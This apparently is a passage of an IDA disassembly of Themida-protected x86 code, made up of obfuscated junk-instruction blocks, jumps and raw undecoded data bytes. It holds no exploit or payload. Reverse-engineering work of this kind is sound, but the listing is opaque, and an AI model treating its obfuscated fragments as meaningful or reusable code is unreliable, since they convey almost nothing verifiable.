		dd 72916ECAh, 36F5C381h, 348B40EBh, 0E6895624h,	4C681h
		dd 0C6810000h, 4, 5C243487h, 9580E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B1F5:				; CODE XREF: Themida_:005541CBj
		sub	dl, 76h
		mov	ax, [esp]
		add	esp, 2
		inc	dl
		shr	dl, 3
		push	ecx
		push	bx
		mov	bl, 0CFh
		mov	cl, bl
		pop	bx
		push	ecx
		mov	cl, 0F8h
		sub	dl, cl
		pop	ecx
		jmp	loc_560D31
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0C8B2434h, 7617E924h, 93B80000h, 5521C5Fh, 9835E4Ch
		dd 0DB354840h, 0E95B9FBDh, 0B5FEh, 0E9240487h, 6240h
; ---------------------------------------------------------------------------


loc_55B244:				; CODE XREF: Themida_:00560F50j
		pop	edx
		sub	ecx, 1EA52BF1h
		sub	ecx, ebp
		jmp	loc_56782E
; ---------------------------------------------------------------------------
		dw 0E801h
		dd 9A28532Dh, 0F0C9E94Bh, 8B66FFFFh, 33682404h,	89000058h
		dd 0E0892404h, 7389E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B271:				; CODE XREF: Themida_:00555EF8j
		or	ebx, 3C0537A1h
		push	ebx
		push	ecx
		pop	ebx
		pop	ecx
		neg	ecx
		xchg	ecx, ebx
		shr	ebx, 1
		jmp	loc_55615A
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 56C0F281h, 0E2C165DDh, 95E94A04h
		db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B297:				; CODE XREF: Themida_:0056067Cj
		sub	esp, 4
		jmp	loc_55B046
; ---------------------------------------------------------------------------
		db 81h
		dd 0BF6CE3C7h, 3EFC120h, 70C9EF81h, 0F8899CA6h,	716FE9h
		dd 1DBB5300h, 5024146Ch, 690D39B8h, 0A099E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B2C6:				; CODE XREF: Themida_:00559496j
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_552C38
; ---------------------------------------------------------------------------


loc_55B2D5:				; CODE XREF: Themida_:00555177j
		pop	edx
		jmp	loc_56269C
; ---------------------------------------------------------------------------


loc_55B2DB:				; CODE XREF: Themida_:0055DE18j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		push	113Eh
		mov	[esp], ebx
		jmp	loc_562CEA
; ---------------------------------------------------------------------------
		db 59h
		dd 14F75091h, 0C1315824h, 0FFA9C6E9h, 4EB83FFh,	5C241C87h
		dd 0B602E9h, 59C80000h,	34FF772Ch, 2434FF24h, 4C48359h
		dd 0E904C483h, 0FFFF7E86h, 5B2434FFh, 5704C483h, 896B0EBFh
		dd 0D9A6E945h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B332:				; CODE XREF: Themida_:0055CDE6j
		not	ecx
		xchg	ecx, edx
		push	edx
		not	dword ptr [esp]
		pop	edx
		jmp	loc_55F232
; ---------------------------------------------------------------------------
aSax		db '\é x',0
		align 2
		dw 0DE01h
		dd 5AEDC681h, 34FF68F8h, 62E95B24h
		db 81h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B357:				; CODE XREF: Themida_:00559698j
		add	dword ptr [esp], 579511BBh
		jmp	loc_55999F
; ---------------------------------------------------------------------------


loc_55B363:				; CODE XREF: Themida_:00552C72j
		pop	ebx
		sub	al, 2Ah
		jmp	loc_5543CD
; ---------------------------------------------------------------------------


loc_55B36B:				; CODE XREF: Themida_:00559B03j
		pop	ebp
		neg	ebp
		shl	ebp, 5
		not	ebp
		push	esi
		push	ebp
		mov	ebp, 681E0AC8h
		jmp	loc_560243
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55D942
; ---------------------------------------------------------------------------


loc_55B39F:				; CODE XREF: Themida_:00565CC4j
		pop	eax
		add	eax, 4
		push	edx
		mov	edx, 4
		add	eax, edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_553E22
; ---------------------------------------------------------------------------
		dd 0A97FE94Bh, 0E781FFFFh, 17A60FB8h, 0A4DFE9h,	24148900h
		dd 287CE9h, 241C8900h, 0C381E389h, 4, 0DC09E951h, 5B5EFFFFh
		dd 0EAF1E94Eh, 0EC81FFFFh, 4, 5A93E9h, 5AD13100h, 0C8BC801h
		dd 4C48324h, 405h, 6D47E900h, 4BD0000h,	0E9000000h, 0FFFFC49Dh
		dd 0E92434FFh, 8AEDh
; ---------------------------------------------------------------------------


loc_55B41C:				; CODE XREF: Themida_:005535D3j
		push	edx
		mov	edx, edi
		mov	ecx, edx
		pop	edx
		pop	edi
		jmp	loc_554F7A
; ---------------------------------------------------------------------------


loc_55B428:				; CODE XREF: Themida_:0055A4DBj
		mov	ecx, 2B8B0BBDh
		jmp	loc_567D8D
; ---------------------------------------------------------------------------


loc_55B432:				; CODE XREF: Themida_:0055846Fj
		xor	al, dl
		pop	edx
		push	edx
		mov	dh, 5Ah
		jmp	loc_563676
; ---------------------------------------------------------------------------
		db 81h,	34h, 24h
		dd 385F05DFh, 0A7E9565Fh, 9FFFFADh, 0BD555BDFh,	1, 8E80E956h
		dd 39BEFFFFh, 815F8E58h, 0E7040FC6h, 5EF789BEh,	7747CF81h
		dd 0EC81590Dh, 4, 0BB241C89h, 5F7D7F4Dh, 7EBDC781h, 0DF290496h
		dd 7EBDEF81h, 5EE90496h, 81FFFF8Ah, 9C6021C3h, 8F0AE911h
		dd 0F65AFFFFh, 68C5FED5h, 4143h, 0E9241C89h, 0BF64h, 0C8BCF29h
		dd 4C48324h, 3C8BFB01h,	0E1895124h, 4C181h, 29E90000h
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B4C7:				; CODE XREF: Themida_:005552E8j
		mov	ah, [esp]
		add	esp, 2
		jmp	loc_55666D
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0FFFF9649h, 2404305Ch, 5B7AE99Ch, 0D7010000h, 5FFE295Ah
		dd 12BBB951h, 0CE295975h, 0AF56E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B4F6:				; CODE XREF: Themida_:005607A1j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 2FBF3F51h
		jmp	loc_55DC96
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 0AA4EE900h, 0CD2FFFFh,	1DE99C24h
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B51B:				; CODE XREF: Themida_:00565A52j
		pop	edx
		pop	ecx
		sub	[edi+24h], esi
		push	dword ptr [esp]
		pop	esi
		push	ebx
		push	esp
		jmp	loc_55A2B3
; ---------------------------------------------------------------------------


loc_55B52B:				; CODE XREF: Themida_:0055B61Dj
		add	eax, 0A08A18E0h
		sub	edi, 16BD37C4h
		jmp	loc_564DA6
; ---------------------------------------------------------------------------


loc_55B53B:				; CODE XREF: Themida_:0055BD8Bj
		pop	eax
		and	dh, ch
		jmp	loc_55EB62
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C68105EEh, 331D1C38h, 0AFE9F329h, 1000080h,	0CE895FF9h
		dd 0E9240C8Bh, 0FFFFFA91h, 0E95BDD21h, 0CDh
; ---------------------------------------------------------------------------


loc_55B568:				; CODE XREF: Themida_:0056488Cj
		push	edx
		mov	edx, 105714B5h
		xor	edx, 6E696682h
		add	edx, 0C7DDBA81h
		and	esi, edx
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 40140C34h
		xor	esi, eax
		pop	eax
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_553BD9
; ---------------------------------------------------------------------------
		db 0E9h, 8Eh, 76h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B5AA:				; CODE XREF: Themida_:00566A98j
		mov	ecx, 3FCC5B5Dh
		jmp	loc_5534D4
; ---------------------------------------------------------------------------
		dd 5398E981h, 0BDE985B3h, 8BFFFF79h, 0B2522424h, 9F73E99Ch
		dd 0EC83FFFFh, 24048904h, 42474FFh, 24048F58h, 0C870E95Ch
		dd 0D7210000h, 7762E9h,	0E9D80100h, 0FFFFACD3h,	3B35CA81h
		dd 40685FFDh, 0E9000023h, 0FFFFA323h, 4EC81h, 2C890000h
		dd 24E95424h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B60B:				; CODE XREF: Themida_:00564433j
		mov	ecx, 0A94788Ch
		jmp	loc_55D084
; ---------------------------------------------------------------------------


loc_55B615:				; CODE XREF: Themida_:00561F0Ej
		shl	eax, 7
		or	eax, 5A554A1Ch
		jmp	loc_55B52B
; ---------------------------------------------------------------------------


loc_55B622:				; CODE XREF: Themida_:0055D1A9j
		sub	esp, 4
		mov	[esp], ebx
		push	330353h
		jmp	loc_56380C
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0E3h
		dd 914234Bh, 0EB815DEBh, 77FFDF39h, 835BD901h, 0C4E904ECh
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B64F:				; CODE XREF: Themida_:00564F71j
		mov	ecx, eax
		pop	eax
		push	ecx
		jmp	loc_5602C5
; ---------------------------------------------------------------------------


loc_55B658:				; CODE XREF: Themida_:00564F64j
		shr	edi, 2
		sub	edi, 20DB131Eh
		sub	edi, 0EF0157E3h
		jmp	loc_55E80E
; ---------------------------------------------------------------------------


loc_55B66C:				; CODE XREF: Themida_:0055C678j
		push	edx
		mov	edx, 839F9B14h
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		sub	ecx, 14295606h
		add	ecx, eax
		add	ecx, 14295606h
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55848F
; ---------------------------------------------------------------------------
		dd 0EF81CF01h, 8EF28BAh, 0FFA6FDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B6A1:				; CODE XREF: Themida_:00556DAEj
		add	esp, 4


loc_55B6A7:				; CODE XREF: Themida_:00567E5Ej
		push	7417h
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		jmp	loc_55514F
; ---------------------------------------------------------------------------
		db 5Fh,	51h, 57h
		dd 97787BFh, 247C292Ch,	7810E904h, 48FFFFFh, 24048124h
		dd 4, 5524048Fh, 4BDh, 46E95600h, 81000006h, 4C4h, 3B3D6800h
		dd 34890000h, 14966824h, 0A0E90000h
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B6FB:				; CODE XREF: Themida_:005647E3j
		push	4BE6h
		mov	[esp], edi
		jmp	loc_55C670
; ---------------------------------------------------------------------------
		dd 83BF6657h, 0C0BE661Ah, 0FE296689h, 81243C8Bh, 4C4h
		dd 66506600h, 10B96651h, 0C8896606h, 0FFAEFBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B72D:				; CODE XREF: Themida_:00557614j
		push	eax
		not	dword ptr [esp]
		pop	eax
		jmp	loc_560179
; ---------------------------------------------------------------------------
		db 0FFh
		dd 505A2434h, 0F7685854h, 89000048h, 0C6E9240Ch
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B74B:				; CODE XREF: Themida_:00562BB5j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55F75E
; ---------------------------------------------------------------------------


loc_55B756:				; CODE XREF: Themida_:0055AA5Dj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	101Ah
		mov	[esp], edi
		push	48B7h
		mov	[esp], ebx
		push	0B767A5Bh
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		jmp	loc_566ACF
; ---------------------------------------------------------------------------
		dw 9BBh
		dd 0F765285Fh, 53CE9DBh, 0F5810000h, 34650341h,	48BCD81h
		dd 0E9511DC1h, 0A830h
; ---------------------------------------------------------------------------


loc_55B7A8:				; CODE XREF: Themida_:005580BEj
		sub	ebp, eax
		pop	eax
		or	edx, ebp
		pop	ebp
		jmp	loc_5570FE
; ---------------------------------------------------------------------------
		db 53h
		dd 0FF54DB68h, 77D4E963h, 75E9FFFFh
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B7C3:				; CODE XREF: Themida_:0055FDBDj
		push	132B3E6Dh
		jmp	loc_55408C
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 55h
		dd 4BDh, 5DEA0100h, 4BD55h, 0C2810000h,	6BCA175Fh, 3CE9EA29h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B7EB:				; CODE XREF: Themida_:00556BD6j
		add	edx, ecx
		jmp	loc_55F52B
; ---------------------------------------------------------------------------
		dw 0EE83h
		dd 14875601h, 0F7F28724h, 9B49E9D6h, 4FBE0000h,	5677E001h
		dd 0FFB4B4E9h, 243C89FFh, 0AC049DBFh, 8BF9297Eh, 0C483243Ch
		dd 7B6CE904h, 0C280FFFFh, 0B5515384h, 0EC5EE9A8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B82E:				; CODE XREF: Themida_:00560F94j
		sub	edx, 0AC9FEABh
		shl	edx, 1
		inc	edx
		not	edx
		dec	edx
		dec	edx
		sub	edx, 40B59222h
		sub	edi, 3FDE345Fh
		add	edi, edx
		jmp	loc_5617C8
; ---------------------------------------------------------------------------
aBUunnsg	db ')Ê“u­néG³',0
		db 0
; ---------------------------------------------------------------------------


loc_55B85B:				; CODE XREF: Themida_:00553422j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	0C5h
		mov	[esp], ebp
		mov	ebp, esp
		push	3BA6h
		mov	[esp], esi
		mov	esi, 4
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		jmp	loc_554590
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 1C77FF00h, 0B3240481h,	0FF366C5Dh, 68592434h
		dd 29E9h, 89240C89h, 4C181E1h, 81000000h, 4ECh,	8456E900h
		dd 0EE81FFFFh, 6B706ECCh, 0C681D629h, 6B706ECCh, 67B9515Ah
		dd 294C4A63h, 190559C8h, 0E973AE4Eh, 0FFFFB2E0h, 0A6EF815Dh
		dd 89680F2Ah, 0FBE95FF8h, 57FFFF92h, 0C781E789h, 4, 8704C783h
		dd 685C243Ch, 6696h, 0FF241489h, 0FF042474h, 835A2434h
		dd 19E904C4h, 68000034h, 39814F00h, 0EE81465Eh,	250F260Eh
		dd 0F75E5956h, 18E955D1h, 83FFFF81h, 1C8704EBh,	0C895C24h
		dd 81E18924h, 4C1h, 2C18300h, 0FFD369E9h, 240C87FFh, 0FF8AB9E9h
		dd 1DEA81FFh, 126E760h,	0C6815AD6h, 2, 0E9243433h, 6C37h
; ---------------------------------------------------------------------------


loc_55B960:				; CODE XREF: Themida_:00554FC9j
		mov	dl, ch
		pop	ecx
		add	al, dl
		jmp	loc_5594E7
; ---------------------------------------------------------------------------
		dw 0F229h
		dd 8E2C15Eh, 7AE9DAF7h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B977:				; CODE XREF: Themida_:00568197j
		push	32FBh
		mov	[esp], edx
		push	15402E36h
		mov	edx, [esp]
		add	esp, 4
		not	edx
		jmp	loc_56811E
; ---------------------------------------------------------------------------
		db 0BEh, 0DEh, 4Ch
		dd 0F02919B9h, 5D8295Eh, 19B94CDEh, 0E92434FFh,	24C8h
; ---------------------------------------------------------------------------


loc_55B9A8:				; CODE XREF: Themida_:005592CAj
		and	ebx, 657E085Bh
		push	ebx
		jmp	loc_564675
; ---------------------------------------------------------------------------


loc_55B9B4:				; CODE XREF: Themida_:005586E5j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ecx
		mov	ecx, 46E65009h
		push	ecx
		inc	dword ptr [esp]
		pop	ecx
		shr	ecx, 8
		add	ecx, 1
		jmp	loc_563016
; ---------------------------------------------------------------------------
		db 53h,	89h, 0F3h
		dd 1C8BDA89h, 4C48324h,	8124348Bh, 4C4h, 5AD00100h, 4168D801h
		dd 89000000h, 68552434h, 72BA2F0Ah, 0FFCCAFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BA09:				; CODE XREF: Themida_:00563BFAj
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	ebp
		push	edx
		push	77EB66CCh
		jmp	loc_560FB2
; ---------------------------------------------------------------------------


loc_55BA23:				; CODE XREF: Themida_:0055450Fj
		push	dword ptr [esp]
		jmp	loc_563FBC
; ---------------------------------------------------------------------------
		db 0B8h
		dd 7DF96B8Bh, 1C8BD831h, 4C48124h, 0E9000000h, 0C3A3h
		dd 81243C8Bh, 4C4h, 50E95300h, 8BFFFFB1h, 0C481242Ch, 4
		dd 0FF8E9EE9h, 5AD028FFh, 4EC8351h, 0B7241C89h,	0F6C7FEF3h
		dd 0B65266DFh, 0B4E9E96Dh, 348B0000h, 0E19BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BA7E:				; CODE XREF: Themida_:0055C19Ej
		mov	ecx, esi
		jmp	loc_55C3AD
; ---------------------------------------------------------------------------
		db 58h,	2Ch, 0DDh
		dd 0DD04F028h, 24148B66h, 6802C483h, 7999h, 0B3241C89h
		dd 0E9C3FE59h, 60D9h, 4C4815Eh,	68000000h, 4F1Bh, 0BA241489h
		dd 3DC544B9h, 2299B951h, 5CE973DDh, 0C10000BAh,	843507E0h
		dd 12F42BCh, 6FE958C6h,	5A000073h, 94C5815Fh, 1799334h
		dd 94ED81CDh, 59799334h, 2C581h, 2C330000h, 242C3124h
		dd 935CE9h, 24048F00h, 8904EC83h, 5EE92414h, 0FFFFFF9Eh
		dd 2C8B2434h, 4C48124h,	68000000h, 71F8h, 89241C89h, 4C381E3h
		dd 81000000h, 4EBh, 241C8700h, 2404895Ch, 405E089h, 83000000h
		dd 43304C0h, 24043124h,	0E9240433h, 50B8h, 0E924048Fh
		dd 0FFFF762Ah, 0F80BA52h, 0D30135F1h, 0FFA971E9h, 0DCF781FFh
		dd 899BFE0Fh, 83455FFDh, 148904ECh, 0A1BF5724h,	891DFB78h
		dd 0A3C6E9FAh, 0D8B90000h, 8323A467h, 0DDE904ECh
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55BB83:				; CODE XREF: Themida_:005599ADj
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	ebx
		push	3212h
		jmp	loc_560102
; ---------------------------------------------------------------------------


loc_55BB95:				; CODE XREF: Themida_:00567FFAj
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55BF3D
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0E9F72900h, 8AE0h, 0FFFFEF81h,	0E7C1FFFFh, 0EF78106h
		dd 89F37F3Ah, 0C2815FFAh, 70E513F6h, 3DD7F281h,	0C2816389h
		dd 0FFFFFFFFh, 0A5B2E9h, 93E95300h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55BBE3:				; CODE XREF: Themida_:00553BD4j
		add	al, cl
		jmp	loc_561231
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 0CFAA64C5h, 0FFE491E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BBF5:				; CODE XREF: Themida_:005574D4j
		not	ebx
		xor	ebx, 0C820D269h
		jmp	loc_567A78
; ---------------------------------------------------------------------------
		dw 0E8D1h
		dd 0E901E883h, 9CCDh, 577AC981h, 0E9814A88h, 2CBA6FBBh
		dd 874FF987h, 5617E9F9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BC22:				; CODE XREF: Themida_:00562365j
		pop	eax
		add	esp, 4
		jmp	loc_55CB97
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4B95100h, 0E9000000h, 17ACh
; ---------------------------------------------------------------------------


loc_55BC3C:				; CODE XREF: Themida_:0055F198j
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5610DA
; ---------------------------------------------------------------------------
		db 0FFh
		dd 83582434h, 1EE904C4h, 81000086h, 4C4h, 241C3300h, 33241C31h
		dd 248B241Ch, 0C8B6624h, 0E3895324h, 4C381h, 0EC810000h
		dd 4, 5CDCE9h, 86685000h, 5809A17Ah, 427168h, 24048900h
		dd 53241C87h, 8B2414F7h, 0C483241Ch, 241C3104h,	31241C33h
		dd 0E1E9241Ch, 58FFFFDCh, 8DE9F388h, 8100003Dh,	4C7h, 0BFEDE900h
		dd 0E901FFFFh, 4C1815Dh, 51000000h, 42474FFh, 0DCE0E959h
		dd 0E3C1FFFFh, 0AEEB8106h, 817E8C76h, 48DAE4F3h, 0E9D8018Fh
		dd 0A9A8h, 19B85059h, 2D1BFE57h, 0D7180F1Ah, 158C729h
		dd 0FFC781CFh, 0E944E647h, 6DC6h, 4BDh,	5DE98900h, 8159CF01h
		dd 4C7h, 243C8700h, 0FFF623E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BD1D:				; CODE XREF: Themida_:005624A9j
		mov	edx, 0FFFFFFFFh
		sub	esi, edx
		jmp	loc_56682B
; ---------------------------------------------------------------------------
		db 55h,	68h, 0FAh
		dd 5D51D507h, 48C58145h, 89B751FCh, 74015DEEh, 0E95E0824h
		dd 0A349h
; ---------------------------------------------------------------------------


loc_55BD44:				; CODE XREF: Themida_:005667A5j
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], eax
		push	edi
		jmp	loc_55A81D
; ---------------------------------------------------------------------------


loc_55BD5C:				; CODE XREF: Themida_:00556F98j
		mov	esi, [esp]
		add	esp, 4
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		jmp	loc_5649B7
; ---------------------------------------------------------------------------


loc_55BD78:				; CODE XREF: Themida_:00567ACFj
		xor	[edi+20h], esi
		xor	esi, [edi+20h]
		jmp	loc_5563FD
; ---------------------------------------------------------------------------


loc_55BD83:				; CODE XREF: Themida_:005627C7j
		and	ch, 0ECh
		push	eax
		mov	al, 0E8h
		xor	ch, al
		jmp	loc_55B53B
; ---------------------------------------------------------------------------
		dd 0FF6EA3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BD95:				; CODE XREF: Themida_:0056468Fj
		sub	eax, ebp
		jmp	loc_553E80
; ---------------------------------------------------------------------------
		dd 20764F68h, 0A1E95F4Ah
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BDA7:				; CODE XREF: Themida_:00557562j
		mov	esi, 4
		push	ebp
		mov	ebp, 0EEC02E5h
		add	edx, ebp
		jmp	loc_55D1CD
; ---------------------------------------------------------------------------
		db 59h,	81h, 0C3h
		dd 3BDC3305h, 0EB81FB01h, 3BDC3305h, 0DD97E95Fh, 0B85DFFFFh
		dd 19867940h, 1129E605h, 2DF8292Ah, 2A1129E6h, 3E320D5Fh
		dd 87505A79h, 0D1F7240Ch, 0B4B9E9h
		db 0
; ---------------------------------------------------------------------------


loc_55BDF1:				; CODE XREF: Themida_:00560316j
		push	ebp
		jmp	loc_55A55C
; ---------------------------------------------------------------------------
		db 89h
		dd 0B5BA2414h, 2939D308h, 0E9815AD1h, 0C441C817h, 8159CE09h
		dd 0B75CE7EEh, 2C78111h, 812B3120h, 2E3A92C7h, 0E9F70160h
		dd 0FFFFB6FAh, 5AF18858h, 0E959CC88h, 57F3h, 53566851h
		dd 14890000h, 6B636824h, 0FEE9479Dh, 81FFFF72h,	0FA4F2FCFh
		dd 2E7C115h, 18CE781h, 0EFC12517h, 4EC8105h, 0E9000000h
		dd 0FFFF6F12h, 0BF57h, 0CF290000h, 69ACE9h, 59CE2800h
		dd 0DB15166h, 5966CE20h, 0F6A0CE80h, 0E9C6FED6h, 5238h
		dd 5450EB81h, 0E957111Eh, 8BA8h, 405E0C0h, 408341Ah, 3AB252C6h
		dd 0FFBDBEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BEA1:				; CODE XREF: Themida_:00552DF5j
		mov	ebx, 27921549h
		xchg	esi, ebx
		dec	esi
		jmp	loc_55C3C0
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 4BB24h, 0DA010000h, 3359685Bh, 3C890000h, 4BF24h, 0C2810000h
		dd 41393B43h, 0EA81FA29h, 41393B43h, 5F2434FFh,	5E08950h
		dd 4, 405h, 24048700h, 3324248Bh, 14312414h, 24143324h
		dd 0EB8BE95Ch, 0E5C1FFFFh, 0FCCD8108h, 0E95DCC4Ch, 0A3ABh
		dd 0D51F8FBAh, 8BD38970h, 0C4832414h, 5E94B04h,	89000089h
		dd 68562404h, 0F81C51h,	0FFE2ABE9h, 6E6C1FFh, 0C101EE83h
		dd 0F68102EEh, 32D78C30h, 56B4E9h
		db 0
; ---------------------------------------------------------------------------


loc_55BF3D:				; CODE XREF: Themida_:0055BBA2j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55581D
; ---------------------------------------------------------------------------
		dd 1D70B951h, 0C1816433h, 152A14C5h, 5AEEEA81h,	0CA0175C6h
		dd 5AEEC281h, 0E95975C6h, 182Fh, 0E84CBABAh, 1EA8137h
		dd 0E9000000h, 63AAh, 243C875Dh, 8237E9h, 81E18900h, 4C1h
		dd 4C18300h, 5C240C87h,	8904EC83h, 1BF243Ch, 0E9000000h
		dd 0FFFF9AE8h, 544F181h, 0C9817606h, 3E4571E0h,	8106E1C1h
		dd 53081C9h, 83F18114h,	19D5DFEh, 3C8759CFh, 8F665C24h
		dd 11682404h, 8900002Bh, 5A542414h, 4C281h, 0EA830000h
		dd 74FF5202h, 148B0424h, 4C48324h, 0FFDB92E9h, 40E0D1FFh
		dd 7048DA35h, 8BC3010Ah, 0C4832404h, 2434FF04h,	0FFAB85E9h
		dd 0E9DDF7FFh, 0FFFFDF9Dh
; ---------------------------------------------------------------------------


loc_55C008:				; CODE XREF: Themida_:0055A96Fj
		sub	ebx, 0C3E15D8h
		add	[ebx], edx
		mov	ebx, [esp]
		jmp	loc_565BFE
; ---------------------------------------------------------------------------
		dd 4EC81h, 3C890000h, 0E59FE924h, 405FFFFh, 2D000000h
		dd 4, 5C240487h, 83242489h, 0E9042404h,	3F0Dh, 0E9240431h
		dd 6F36h, 5758C331h, 0D11471BFh, 81DFF765h, 7F401BC7h
		dd 0ACD7E9B8h, 0F829FFFFh, 0A8E95A5Fh, 59FFFF97h, 69A8EF81h
		dd 0C3810AE9h, 38D66B2Fh, 0F3E9FB01h
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C07B:				; CODE XREF: Themida_:00560D36j
		push	ecx
		jmp	loc_561CF7
; ---------------------------------------------------------------------------


loc_55C081:				; CODE XREF: Themida_:0056406Ej
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		mov	[ebx], esi
		mov	esi, [esp]
		add	esp, 4
		mov	ebx, [esp]
		jmp	loc_55AE8C
; ---------------------------------------------------------------------------


loc_55C098:				; CODE XREF: Themida_:0055FB1Aj
		add	ebx, 4B1E4230h
		mov	eax, ebx
		mov	ebx, [esp]
		push	4359h
		jmp	loc_556E22
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 4
		dd 68000000h, 2F26h, 0FF240C89h, 59042474h, 8B24048Fh
		dd 14892424h, 2474FF24h, 2434FF04h, 71CBE95Ah, 1C890000h
		dd 2474FF24h, 241C8B04h, 8F04C483h, 665C2404h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_555DC5
; ---------------------------------------------------------------------------
		db 31h,	0F0h, 0E9h
		dd 0FFFFFF40h, 1D3BED81h, 0E94571D5h, 885h, 4C181h, 40E90000h
		dd 2D000035h, 7809597Bh, 7B05D029h, 8B780959h, 89502414h
		dd 405E0h, 56510000h, 896C7EBEh, 0A4F68122h, 8115C540h
		dd 0F967A1F6h, 40CE8102h, 55529E50h, 0BF5B7FBDh, 0B623E977h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C152:				; CODE XREF: Themida_:0055A890j
		xor	ebp, ebx
		pop	ebx
		sub	ebx, ebp
		pop	ebp
		push	ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_552C38
; ---------------------------------------------------------------------------


loc_55C17D:				; CODE XREF: Themida_:0055D42Ej
		and	ebp, 386E3428h
		push	ebp
		push	eax
		jmp	loc_563087
; ---------------------------------------------------------------------------


loc_55C18A:				; CODE XREF: Themida_:0055D28Cj
		mov	edx, 64FF13A0h
		or	esi, edx
		pop	edx
		add	esi, 0FFFFFFFFh
		push	edx
		mov	edx, 15271EB3h
		xor	esi, edx
		pop	edx
		jmp	loc_55BA7E
; ---------------------------------------------------------------------------
		db 81h
		dd 0D2C988C3h, 0D6E9818Ch, 108A621h, 0D6C181D9h, 5B08A621h
		dd 4C181h, 0C870000h, 24248B24h, 88FD8851h, 0E959872Ch
		dd 0FFFFB002h, 8FE95150h, 53FFFF80h, 0BD555B54h, 55AF50E9h
		dd 1ED81h, 81450000h, 1EDh, 9A6CE900h, 0C781FFFFh, 4, 8704C783h
		dd 315C243Ch, 0C3815EF3h, 0D4E78EB2h, 2D1E9h
		db 0
